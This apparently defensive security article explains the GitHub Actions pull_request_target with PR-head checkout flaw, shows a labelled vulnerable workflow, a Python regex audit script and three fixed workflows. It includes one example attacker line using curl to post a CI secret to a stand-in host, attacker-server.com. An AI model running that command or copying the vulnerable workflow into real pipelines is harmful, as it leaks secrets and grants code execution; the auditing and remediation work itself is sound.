Am I Vulnerable? How to Audit Your GitHub Actions for the pull_request

Why Your CI Pipeline Might Be a Wide-Open Backdoor

Let's be brutally honest: your GitHub Actions pipeline, the one you painstakingly built to automate your tests and deployments, might be a wide-open backdoor. We all do it. We copy-paste workflow snippets from Stack Overflow or a blog post, tweak them until the green checkmark appears, and move on. The problem is that one of those "harmless" snippets contains a ticking time bomb. It's a subtle, misunderstood trigger called pull_request_target, and when combined with one specific command, it turns your repository into a playground for attackers. This isn't theoretical. Security researchers at Orca Security dubbed this the "Pull Request Nightmare" after finding this exact flaw in the public repositories of giants like Google, Microsoft, and other Fortune-500 companies.

On any public repository, anyone on the internet can open a pull request. This is the entire point of open source. But this feature becomes a weapon if you've misconfigured your workflows. The core of the issue is the difference between two triggers: pull_request and pull_request_target. When a fork opens a PR, a workflow using pull_request runs in the context of the fork. It has no access to your secrets, and its GITHUB_TOKEN is read-only. It's safely sandboxed. But pull_request_target is different. It was created for tasks like automatically labeling or commenting on PRs, which requires write access. To provide that, it runs in the context of your base repository, with access to all your secrets (NPM_TOKEN, AWS_SECRET_KEY, you name it) and a read-write GITHUB_TOKEN. If you then tell this privileged workflow to check out and run the untrusted code from the PR, you've essentially handed an attacker the keys to your kingdom.

The Two-Line Time Bomb: Identifying the Vulnerable Pattern

The vulnerability isn't a single setting but a toxic combination of two specific lines in your workflow file. You are vulnerable if a workflow file contains both of the following:

The Trigger: on: pull_request_target
The Checkout: uses: actions/checkout@v4 (or similar) with the PR's head commit, like ref: ${{ github.event.pull_request.head.sha }} or ref: ${{ github.head_ref }}.

That's it. That's the entire exploit. The workflow triggers, running with all your secrets available in its environment. It then checks out the code from the attacker's pull request. What does that code contain? Anything the attacker wants. They can modify your package.json, setup.py, or any build script to add a single line: curl --data "My secret is ${{ secrets.PRODUCTION_KEY }}" https://attacker-server.com. The moment they open the pull request, your own workflow will dutifully execute their malicious script, find your secret, and POST it directly to them. This is a classic Remote Code Execution (RCE) vulnerability that you've handed to them on a silver platter.

Here is what a vulnerable workflow looks like in its horrifying simplicity. This workflow thinks it's just running tests, but it's given an attacker RCE.

# VULNERABLE WORKFLOW - DO NOT USE
name: CI-CD
on: pull_request_target

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout PR Code
        # This is the line that creates the vulnerability
        uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}

      - name: Install Dependencies
        run: npm install

      - name: Run Tests
        # If attacker modified 'npm test' in package.json,
        # their malicious code runs right here.
        run: npm test
        env:
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
          AWS_KEY: ${{ secrets.AWS_ACCESS_KEY_ID }}

Your 5-Minute Audit: Finding the Flaw Before They Do

This is the "stop what you're doing and check" part of the article. You need to find every instance of this pattern across all your repositories. You can't just check your main branch; an attacker could open a PR against an old, vulnerable feature branch and the attack would still work. You must search your entire organization.

The manual way is fast and dirty. Go to your repository or organization page on GitHub. In the search bar, type pull_request_target path:.github/workflows. This will show you every single workflow file in every repository that uses this trigger. Now, click on each one. It's a manual process, but you must do it. Read the file. Does it have a checkout step? Does that checkout step use github.event.pull_request.head.sha or github.head_ref? If you see that combination, you have found a critical vulnerability. Mark it for an immediate fix. Don't assume you're safe. I've personally found this in repos I thought were secure. It's a chilling discovery.

For those managing large organizations, the manual method is a non-starter. You need an automated way to scan hundreds of repos. You can write a simple Python script to clone all your organization's repos (or run it on a machine that already has them) and search for the vulnerable pattern. This script will recursively walk through your directories, look for workflow files, and use regex to find the toxic combination of pull_request_target and a head.sha checkout. This isn't just a good idea; it's a mandatory part of any mature security program. You cannot trust that your developers, even senior ones, all understand this subtle but critical nuance of GitHub Actions.

import os
import re

# Regex to find 'pull_request_target' (as a top-level key)
trigger_re = re.compile(r"on:\s*[\w\s:]*pull_request_target", re.MULTILINE)

# Regex to find a checkout of the PR head
checkout_re = re.compile(r"ref:\s*\${{\s*github\.event\.pull_request\.head\.sha\s*}}", re.MULTILINE)
head_ref_re = re.compile(r"ref:\s*\${{\s*github\.head_ref\s*}}", re.MULTILINE)

vulnerable_files = []
search_directory = "/path/to/your/repos" # Change this

print(f"--- Starting audit in {search_directory} ---")

for root, dirs, files in os.walk(search_directory):
    # Only check inside .github/workflows directories
    if ".github/workflows" not in root:
        continue

    for file in files:
        if file.endswith((".yml", ".yaml")):
            file_path = os.path.join(root, file)
            try:
                with open(file_path, 'r', encoding='utf-8') as f:
                    content = f.read()

                    # Check for the toxic combination
                    if trigger_re.search(content) and \
                       (checkout_re.search(content) or head_ref_re.search(content)):
                        
                        print(f"[VULNERABLE] Found in: {file_path}")
                        vulnerable_files.append(file_path)

            except Exception as e:
                print(f"Could not read {file_path}: {e}")

print(f"--- Audit Complete: {len(vulnerable_files)} vulnerable files found. ---")

How to Fix It: From Quick Patches to Bulletproof Solutions

Okay, you found a vulnerable file. Don't panic. Fixing it is usually straightforward. You have three primary methods, ranging from "most secure" to "good enough for internal projects."

1. The Best Fix: Don't Check Out the Code. This is the simplest and most secure fix. Ask yourself: why does this workflow need the PR's code? If the workflow is just for labeling (like actions/labeler), commenting, or triaging, it doesn't. All the information it needs (like the files changed, the PR author, the labels) is already in the github.event context payload. The correct fix is to delete the actions/checkout step entirely. Safe, simple, and eliminates the vulnerability completely.

2. The "Human-in-the-Loop" Fix: Require Manual Approval. This is the gold standard for public open-source projects. You do want to run tests on code from forks, but only after a human maintainer has reviewed the code and deemed it safe. To do this, you change the trigger from on: pull_request_target to on: pull_request_target: { types: [labeled] }. Then, add a condition to the job. The privileged workflow will only run when a maintainer adds a specific label (e.g., safe-to-test). The attacker opens the PR, and nothing happens. A maintainer reviews the code, sees it's safe, adds the label, and then the tests run. This puts a human security gate between the attacker and your secrets.

# SECURE WORKFLOW - GATED BY LABEL
name: Secure CI for Forks
on:
  pull_request_target:
    types: [labeled] # Only runs when a label is added

jobs:
  privileged-test:
    # This job only runs if the specific label was added
    if: contains(github.event.pull_request.labels.*.name, 'safe-to-test')
    runs-on: ubuntu-latest
    steps:
      - name: Checkout PR Code
        # This is now "safe" because a human has approved it
        uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      
      - name: Run tests with secrets
        run: npm test
        env:
          MY_SECRET: ${{ secrets.MY_SECRET }}

3. The "Internal" Fix: Check the Repository Origin. This is a common fix for private or internal-source repositories where all contributors are generally trusted. You add an if condition to the job that checks if the pull request is coming from the main repository (a local branch) or an external fork. If it's from a fork, the privileged job is skipped. This stops all drive-by attacks from external forks while allowing your internal team to work without friction. It's not great for public OSS, as it means you're not testing fork PRs, but it's a solid, secure-by-default stance for corporate code.

# SECURE WORKFLOW - FORK-AWARE
name: Internal CI
on: pull_request_target

jobs:
  test-with-secrets:
    # This is the magic line
    if: github.event.pull_request.head.repo.full_name == github.repository
    runs-on: ubuntu-latest
    steps:
      - name: Checkout PR Code
        # This is safe because it only runs for internal branches
        uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      
      - name: Run tests with secrets
        run: echo "Running internal tests..."

Conclusion: Make This Audit Part of Your Security Culture

At this point, ignorance is no longer an excuse. This vulnerability has been widely publicized. If your organization gets breached because you were running untrusted code from a pull_request_target trigger, it's not a sophisticated attack; it's negligence. It's a self-inflicted wound. The convenience of CI/CD cannot come at the cost of basic, fundamental security. You've just given an attacker a shell in your infrastructure, with your secrets, on your dime. They can steal your NPM tokens and launch a supply chain attack. They can steal your AWS keys and spin up crypto miners that cost you thousands before you even notice.

Don't just fix this and move on. This audit needs to become part of your security culture. You should have automated checks—like the Python script above, or using policy-as-code tools like OPA—that run on every commit. Your pull request checks should fail if a developer tries to introduce this toxic workflow pattern. Block it at the source. Your CI/CD pipeline is part of your trusted production infrastructure, and it needs to be treated with the same level of scrutiny. Now, stop reading this and go run that audit.